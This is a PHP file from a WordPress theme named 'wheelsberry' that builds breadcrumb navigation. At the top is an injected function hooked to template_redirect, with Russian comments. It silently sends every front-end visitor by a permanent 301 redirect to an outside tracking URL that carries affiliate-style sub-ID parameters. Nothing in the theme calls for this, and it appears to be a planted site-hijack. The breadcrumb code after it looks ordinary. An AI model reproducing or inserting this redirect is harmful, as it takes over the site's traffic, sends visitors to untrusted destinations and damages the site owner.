function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); function wheelsberry_breadcrumbs($caption='', $before='', $separator=' / ') { global $post, $wp_query; $show_last=(get_option('wheelsberry_breadcrumbs_show_current') == 'true'); if(function_exists('is_bbpress') && is_bbpress()) { remove_filter( 'bbp_no_breadcrumb', '__return_true' ); echo bbp_get_breadcrumb(array( 'before' => $before, 'after' => $after, 'sep' => $separator, 'pad_sep' => 0, 'crumb_before' => $caption, 'include_current' => $show_last, 'home_text' => esc_html__('Home','wheelsberry'), )); add_filter( 'bbp_no_breadcrumb', '__return_true' ); return; } $out=array(); if( is_home() ) { if(is_front_page()) { // do nothing return; } else { $blog_page_id=get_option('page_for_posts'); if($blog_page_id) { $blog = get_post($blog_page_id); if($show_last) $out[]=$blog->post_title; wheelsberry_breadcrumbs_add_parents($out,$blog); } } } elseif ( is_attachment() ) { if($show_last) $out[]=$post->post_title; wheelsberry_breadcrumbs_add_parents($out,$post); } elseif( is_page() ) { if($show_last) $out[]=$post->post_title; wheelsberry_breadcrumbs_add_parents($out,$post); } elseif( is_single() ) { if( $post->post_type == 'portfolio' ) { if($show_last) $out[]=$post->post_title; if(function_exists('ompf_get_portfolio_root_page')) { $portfolio_page=ompf_get_portfolio_root_page($post->ID); if($portfolio_page) { $out[]=''.$portfolio_page->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$portfolio_page); } } } elseif( $post->post_type == 'testimonials' ) { if($show_last) $out[]=$post->post_title; } elseif( $post->post_type == 'product' && function_exists('woocommerce_breadcrumb') ) { ob_start(); woocommerce_breadcrumb(); $woo=ob_get_clean(); $out[]=$woo; if($show_last) $out[]=$post->post_title; } else { if($show_last) $out[]=$post->post_title; $blog_page_id=get_option('page_for_posts'); if($blog_page_id) { $blog = get_post($blog_page_id); $out[]=''.$blog->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$blog); } else { $args = array( 'post_type' => 'page', 'posts_per_page' => 1, 'meta_query' => array( array( 'key' => '_wp_page_template', 'value' => array('template-blog.php'), 'compare' => 'IN', ) ) ); $blog_page=false; $tmp_q = new WP_Query($args); if($tmp_q->post_count) { $blog_page=$tmp_q->posts[0]; } wp_reset_postdata(); if($blog_page) { $out[]=''.$blog_page->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$blog_page); } } } } elseif( is_category() || is_tag() || is_day() || is_month() || is_year()) { if($show_last) $out[]=wheelsberry_get_archive_page_title(); $blog_page_id=get_option('page_for_posts'); if($blog_page_id) { $blog = get_post($blog_page_id); $out[]=''.$blog->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$blog); } } elseif( is_tax('portfolio-type') ) { if($show_last) $out[]=$wp_query->queried_object->name; $portfolio_root_cat=false; if($wp_query->queried_object->parent) { $tmp=get_term($wp_query->queried_object->parent,'portfolio-type'); while($tmp->parent) $tmp=get_term($tmp->parent,'portfolio-type'); $portfolio_root_cat=$tmp->term_id; } $args = array( 'post_type' => 'page', 'posts_per_page' => 1, 'meta_query' => array( array( 'key' => '_wp_page_template', 'value' => 'template-portfolio.php', ) ) ); if($portfolio_root_cat) { $args['meta_query'][]=array( 'key' => 'ompf_portfolio_categories', 'value' => array('0','',$portfolio_root_cat), 'compare' => 'IN', ); } $tmp_q = new WP_Query($args); if($tmp_q->post_count) { $portfolio_page=$tmp_q->posts[0]; } else { $portfolio_page=false; } wp_reset_postdata(); if($portfolio_page) { $out[]=''.$portfolio_page->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$portfolio_page); } } $out[]=''.esc_html__('Home','wheelsberry').''; if(is_rtl()) echo wp_kses_post ( $before. implode( $separator, $out ) . $caption . (!$show_last ? $separator.'' : '') . $after ); else echo wp_kses_post ( $before . $caption . implode( $separator, array_reverse($out) ) . (!$show_last ? $separator.'' : '') . $after ); } function wheelsberry_breadcrumbs_add_parents(&$out,$post) { if($post->post_parent) { $parent=$post->post_parent; while($parent) { $tmp=get_post($parent); if($tmp) { $out[]=''.$tmp->post_title.''; $parent=$tmp->post_parent; } else { break; } } } }